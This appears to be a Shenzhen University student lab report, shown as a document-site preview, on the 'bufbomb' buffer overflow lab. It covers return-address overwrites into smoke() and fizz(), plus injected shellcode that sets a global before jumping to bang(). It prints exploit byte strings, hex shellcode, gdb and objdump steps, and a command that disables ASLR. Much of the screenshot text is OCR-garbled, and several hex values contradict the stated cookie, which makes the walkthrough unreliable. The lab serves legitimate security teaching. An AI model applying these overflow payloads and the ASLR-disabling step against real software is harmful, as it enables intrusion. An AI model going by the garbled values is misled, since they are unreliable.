實驗4-緩沖區(qū)溢出攻擊實驗_第1頁
實驗4-緩沖區(qū)溢出攻擊實驗_第2頁
實驗4-緩沖區(qū)溢出攻擊實驗_第3頁
實驗4-緩沖區(qū)溢出攻擊實驗_第4頁
實驗4-緩沖區(qū)溢出攻擊實驗_第5頁
已閱讀5頁,還剩7頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認(rèn)領(lǐng)

文檔簡介

1、深圳大學(xué)實驗報告課程名稱:計算機系統(tǒng)(2)實驗項目名稱: 緩沖區(qū)溢出攻擊實驗學(xué)院:計算機與軟件學(xué)院專業(yè):指導(dǎo)教師:羅秋明報告人: 學(xué)號: 班級: 實驗時間:2017年5月12日實驗報告提交時間:教務(wù)處制一、實驗?zāi)繕?biāo):1. 理解程序函數(shù)調(diào)用中參數(shù)傳遞機制;2. 掌握緩沖區(qū)溢出攻擊方法;3. 進一步熟練掌握 GDB 調(diào)試工具和 objdump 反匯編工具。二、實驗環(huán)境:1. 計算機( Intel CPU)2. Linux32 位操作系統(tǒng)( Ubuntu 16.04)3. GDB 調(diào)試工具4. objdump 反匯編工具三、實驗內(nèi)容本實驗設(shè)計為一個黑客利用緩沖區(qū)溢出技術(shù)進行攻擊的游戲。 我們僅給黑客

2、 (同學(xué)) 提 供一個二進制可執(zhí)行文件 bufbomb 和部分函數(shù)的 C 代碼,不提供每個關(guān)卡的源代碼。程序 運行中有 3 個關(guān)卡,每個關(guān)卡需要用戶輸入正確的緩沖區(qū)內(nèi)容,否則無法通過管卡!要求同學(xué)查看各關(guān)卡的要求,運用 GDB 調(diào)試工具和 objdump 反匯編工具 ,通過分析 匯編代碼和相應(yīng)的棧幀結(jié)構(gòu) , 通過緩沖區(qū)溢出辦法在執(zhí)行了 getbuf() 函數(shù)返回時作攻擊,使 之返回到各關(guān)卡要求的指定函數(shù)中。 第一關(guān)只需要返回到指定函數(shù), 第二關(guān)不僅返回到指定 函數(shù)還需要為該指定函數(shù)準(zhǔn)備好參數(shù), 最后一關(guān)要求在返回到指定函數(shù)之前執(zhí)行一段匯編代 碼完成全局變量的修改。實驗代碼 bufbomb 和相

3、關(guān)工具( sendstring/makecookie )的更詳細(xì)內(nèi)容請參考“實驗四 緩沖區(qū)溢出攻擊實驗 .pptx ”。本實驗要求解決關(guān)卡 1、2、 3,給出實驗思路,通過截圖把實驗過程和結(jié)果寫在實驗報 告上。四、實驗步驟和結(jié)果首先是 makecookie:yangltbin_201440329ubuntu:-$ £udo susudo password for yangItbtn_2&14040329;rootubuntu:/hone/yanqlibin_2&14040229# cd Desktop/ rootubtntu r/heme/yanglibi n_301

4、404B139/Desktop# file nakecDokie -nakecookie: ELF 32 - bit LSB executable, Intelversion 1 (SYSV), dynamically linked, Interpreter /Ltb/ld-llruxsoz, for GNU/Lt nux 2.6.9f not strippedrootubuntu:/hone/yanglibtn_2614O40329/Desktap# chod 士k nakecookirootubuntu:/bcne/yanglibtn 2614040329/Desktop# ,/nakec

5、ookie ylb 0x?3977?d5rootgubuntu:/heme/yangItbxn_2G14040329/Desktop# |步驟1返回到smoke()1.1解題思路步驟1是要修改getbuf()的返回地址,在執(zhí)行完getbuf()后不是返回到原來的調(diào)用 者test(),而是跳到一個叫做smoke()的函數(shù)里。只需構(gòu)造一段字符串讓 Gets()全部拷貝到buf數(shù)組了,從而造成緩沖區(qū)溢出。同 時最重要的一點是:將smoke()函數(shù)的初始地址也放到構(gòu)造的字符串內(nèi),使其恰 好覆蓋到 getbuf()的 return address位置。1.2解題過程首先要知道smoke()的初始地址,用

6、objdump查看符號表OS04Bt?60 耳9OB9494HO g c thunk.bx0&4aeO gbaLjoFfSEtgBBO4ae04 ouoeeeoo CBMaUe BMOfleiSO eaa4a&O0 0904eld4 069194d8 ed£)0006590 萌oeeeoo o&aoeeooOSMalSB ebaoe»oo 帕如遇o C&00C500QTABl IF.L”t O»OOO04e *A85* neaea»no .text neooeeoo*abs* aaoBSBeoJND* 0&0600

7、43*g萌如®帕4*UWD* d 帕MB32ABS* 80308000.bsi 00066004,radatQC&M054F rF或 £« D D D t D 0 D00300031怕冷尋帕軸 aooeas9s eeooeaeo ooeooaeBBQ48f40|6804Beb0|eeoeoeeo&04aidofi9006000OBOQeBDOCBM8V1Sfl&flOflBftOt)99QBBa0-tfXt 03900923 .text 06066023 *JND* aaoee&i?.t»SS 怙前帕$4 *11ND*&#

8、187;0de«039*JND* QOOCQadC .text OMO0e4e *10* 日血陽昶5口* flaaeaBJiru;_edata.hidden 16B&.get pThidden _GLOendnenSettcGLlB 匚_2.日 itdln®CLlBC Le 5pc憾筋LT肚二2.1 _lnlt_array_start optergGLl6C_2.0_IO_stdin_ussrandQrGLB匚 2.9 prtnt十劇砂CiLlBC 2.6 fwrite£GLlBC,2.G _dta_startIQ gtttCLlBC z. 0 _Jv_R

9、#giiterCl.asse5 _ctype_b_locCLIBCbuhandlrr snok? rand3GLl&C_2,O Lean alarGLlBC_2.e cusertd 電 GLl:_2.o bdriq_gn&h $tart_ rtrcpyGLiec- 3,Bsmoke的初始地址是0x08048eb0°buf第一個元素的地址是-0x18,而return address第一個字節(jié)的地址是0x04,兩個位置的相差換算成十進制就是 0x04 - (-0x18) = 4 + 24 = 2&也就是說我們要構(gòu)造28個字符,然后加上smoke()的地址就能準(zhǔn)確覆

10、 蓋至U return address了。1.3最終結(jié)果截圖r aotubur tu ! /hofne/yanllbin_2&1494e325/Desktop# raotubuntu:/hone/yanglibin_2&104C39/De5ktop# it* txt> eKplott raWi txtrootubuntu: /hone/yanglibiri_7eM04e329/Dektop# t | bufbcmb -t ylbbufbomb: cinmand not foundroot0uburtu;/hone/vnqltbtn 291494&329/Deskt

11、op# t |./hufbonb -t ylbTeen: ylbcookie: 0X239772d5Type stringrSnoke!: You called snoketJNICE JOBlSent validatton infornmtlcin to grading servervt exploit.txt* / 5endstring *;explcat exploit_raw-txC3t exploit rawHtxoat電ubuntu JhoEEf斗3斗電步驟2返回到fizz()并準(zhǔn)備相應(yīng)參數(shù)2.1解題思路通過objdump -t查看符號表中fizz()函數(shù)的初始地址。拿到了地址 0

12、x08048e60, 只要用它替換掉之前exploit.raw中smoke()的地址就能讓getbuf()執(zhí)行完畢后返 回到fizz()中。然后用makecookie生成我的用戶名ylb。以getbuf()調(diào)用Gets()為 例,看一下調(diào)用者的代碼和對應(yīng)的棧。2.2解題過程rot>t<j bun tui i /hone / y a ng Libi n_2614(M0329 /De s kt op* objdunp -S -d t b1 :lufbonb |grep -A15yJ亡* * ¥SB48adO15Spush%ebpk朋找咼:&9e5nOvB048ad3:

13、83ec28sub5&x28esp8&4Badl6i8d45e8lea-ftxl8(Kebp)JKeaMB64S0d9;B98424navA804fladc:e8dffeffffcallRO4R9c0 *;GetuftflilRflPl :c9leavpa04&a&2:b8ei0050Q6novKI8043d&TrC3retaES:9©napSB48ae9£Sdb426eoae £)o solea8xe!fiesi.KelzSrsiafiGSdfe4Vdliddte->:5Spush%ebpsaadfii89e5nov

14、耗豐土p監(jiān)£bpB04fiC66:pushxebpBMBefil:S9e5ROVNesp,Xebp83ecoesub8b4508RQV0x8(set>p) ,%eax3b輕al&4燈8CHpQx8S4aid46048etjf:74If8948&?1:89442404ROWfi-JAi jI a»T£ c70424昶 04 98RQvl$&x80斗和t心吊p)Trash27ffffcalla&487d0 «prtntffpltrootubuintu : /hare/yanglib Ln_2fll4640S29/l&am

15、p;e5>ktDp# ob jdurp -d buf bonb | grep -A36u先分析出從getbuf()函數(shù)結(jié)束后,到調(diào)用fizz()函數(shù)前棧的情況:0x0c 即將是fizz()棧區(qū)0x08 即將是fizz()棧區(qū)0x04getbuf()的返回地址(即fizz()的地址)<-%esp0x00getbuf()中 %ebp 的保存值得知,在返回并調(diào)用fizz()前,棧指針指向0x04處(相對getbuf()中的%ebp為0x00),隨后fizz()調(diào)用時,會把fizz()的%ebp值壓入棧中,8048e66:8b 45 08mov 0x8(%ebp),%eax8048e69:

16、3b 05 d4 a1 04 08 cmp 0x804a1d4,%eax再結(jié)合這兩行代碼得知,fizz()函數(shù)的傳入?yún)?shù)是應(yīng)該存放在 0x8(%ebp)處的,棧 的情況應(yīng)變?yōu)椋?x0c fizz的傳入?yún)?shù)0x08 fizz()的返回地址0x04 fizz()中%ebp的保存值 <-%esp (因為壓棧,getbuf()的返回地址被替換)0x00getbuf()中 %ebp 的保存值628192262728608e0408這串字符串剛覆蓋到 0x08,即還需要覆蓋 4個字節(jié),然 后傳入黑客cookie值./makecookie ylb利用該命令獲得個人黑客 cookie值為0x239772

17、d5黑客cookie值依據(jù)小端法調(diào)整為96 3c df 30,cookie值前方還需覆蓋4個字節(jié), 故得到完整字符串內(nèi)容為:628192262728608e4d57297230d-t ylbcat exploit2.txt | ./se ndstri ng | ./bufbomb最后通過以上指令來把字符串內(nèi)容構(gòu)造并輸入到bufbomb程序中2.3最終結(jié)果截圖rootubuntu:/hoe/anglibin_261404&325/Desktoptt cat exploits.txt | /seridstrtng | »/bufbomb t ylbTeam: ylbCookte:

18、 0x239772d5Type string : Fizz! i You ca 11 ed f izz(0)c239772d5)NICE JOB ISent vdltddttan Infor nidtton to gr ddlnit sei verYou hve new matt tc /var/matl/roDt步驟3返回到bang()且修改global_value3.1解題思路因為全局變量與代碼不在一個段中,所以我們不能讓緩沖區(qū)一直溢出到.bss段(因為global_value初始化為0,所以它會被放在.bss而非.data段以節(jié)省空間) 覆蓋global_value的值。若修改了 .bs

19、s和.text之間某些只讀的段會引起操作系統(tǒng) 的“警覺”而報錯。所以在進入ban g()之前我們需要執(zhí)行一小段我們自己的代碼 去修改global_value,這一段代碼就叫做 exploit code。3.2解題過程a. bang()和 global_value 地址rootubuntu:J/hone/ydngllbin_2ei4a4e3?9j/Desktop# objdunp 譏 bufbonb | grep -e bang -e globalvalu30O4dlc4 g0 .bssD80<48el0 gF .text 0000004croorgubuntd:/hop>e/yan

20、gllbtn zoiA04e329/oesktopff |得到 bang()的入口地址 0x08048e10,以及 global_value 的地址 0x0804a1c4利用gdb調(diào)試獲得buf字符數(shù)組的首地址,即是注入代碼的首地址。gdb bufbomb;調(diào)試程序disass getbuf ;查看getbuf的匯編代碼站 7 畚“耳a 丁7 7 L 工f 1 V11(gdb) dlsass getbufDump of assembler codefor function getbuf:0xQ8048adO<+0> ;push%eb|pOx&8O8ddl<tl>

21、;iriovXesipiWebpOx&8048ad3<+3> :sub50x28,Mesp6x08048ad6<+6> :lea-0xl8(3fiebp),%eaxx&8048ad9<49>:IFOV%eaxf(%esp)Ox&8048adc<412>:callGx80489ce <GetS>0xOS04Sel<+17>;leave幻耳&3048aeZ<+135:novSexleaxOx&8048ae7<+23>:retEnd of assembler dump,

22、If _ -II- +_給getbuf()設(shè)置斷點,程序把斷點設(shè)置在0x8048ad6(gdb) b getbufBreakpoint 1 at 0x8948ad6(gdb)run - t ylb ;運行程序p $ebp-0x18;由 lea -0x18(%ebp),%eax分析出 buf 地址為 %ebp地址-0x18(gdb) un -t ylbstarting program: /home/yangltbtn_zo14040J29/Desktop/bufbomb -t yl bTeam; ylbCookie:Breakpoint 1, 0xO3e48ad6 tn getbuf ()(gd

23、b) p 5ebp-exl8$1 - (void *) Oxbfffb?ao(gdb I得出buf地址,也即注入代碼地址應(yīng)為 接下來編寫注入代碼(匯編代碼).code32movl $0x333382e2, 0x0804a1c4pushl $0x08048e10ret0xbfffb930;讓gcc以32位模式來編譯; 令 global_value = cookie 值;%esp -> bang 入口地址;ret ban g()gcc - c exploit_code.sobjdump d exploit_code.o/編譯匯編文件為可重定位文件.s -> .o查看可重定位文件的內(nèi)容r

24、aotubuntu:>horw/yaflflltbln_z014O4G3?9/D«ktop# vt explott_ccde,s rooTubuntu:/hone/yangitbtn /Orsktopf gre c cxplott cod .5rwtubuntu;/hone/yanglibin_2014M032V/>«kt p# objdunp -d expluit cod?.QfxpLoit Cfldfr.o:Ttli format elLt32-1386DtSSnbly of section ,text:e;c7&5C4 al 64OS e2novi

25、$0x3335B2e2,7:82 33 33a:fiB19Be 64 GSpu占h$0x64813ft 3retIraoTubunt u i / horw/yanflltliln_2ei4eW29/Desktop< |最終獲得注入代碼的16進制機器碼,為16字節(jié)。在第1題中返回地址前有 28個字節(jié)的空間,故在注入代碼后面仍需補充12個字節(jié)的空間,為方便計數(shù)定為0112,緊接著則是buf的地址,讓getbuf()返回時跳轉(zhuǎn)到注入代碼的首地址, 按照小端法,buf地址應(yīng)為30 b9 ff ff,故完整字符串為:C7 05 c4 a1 04 08 e2 82 33 33 68 10 8e 04

26、 08 c3 01 02 03 04 05 06 07 08 09 10 11 12 30 b9 ff bf 0d忽略空格(和下劃線)后,得到 exploit3.txt的內(nèi)容為:C705c4a10408e282333368108e0408c36230b9ffbf0dLinux內(nèi)存地址有隨機化機制,若隨機化機制打開,那么每次運行程序,%ebp的 地址可能是不一樣的,即 buf地址無法確定(注入代碼開始地址無法確定),這 樣的話,注入代碼將無法正確編寫。所以需要先關(guān)閉Linux內(nèi)存地址隨機化機制, 才能完成實驗。可以通過設(shè)置kernel.randomize_va_space內(nèi)核參數(shù)來設(shè)置內(nèi)存地址隨機化的行為# echo 0 >/proc/sys/kernel/ra ndomize_va_spacerootubuntu:/home/yanglibtn_2B14040329/Dktoprt vt exploits.txt rootubuntu:ngl

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論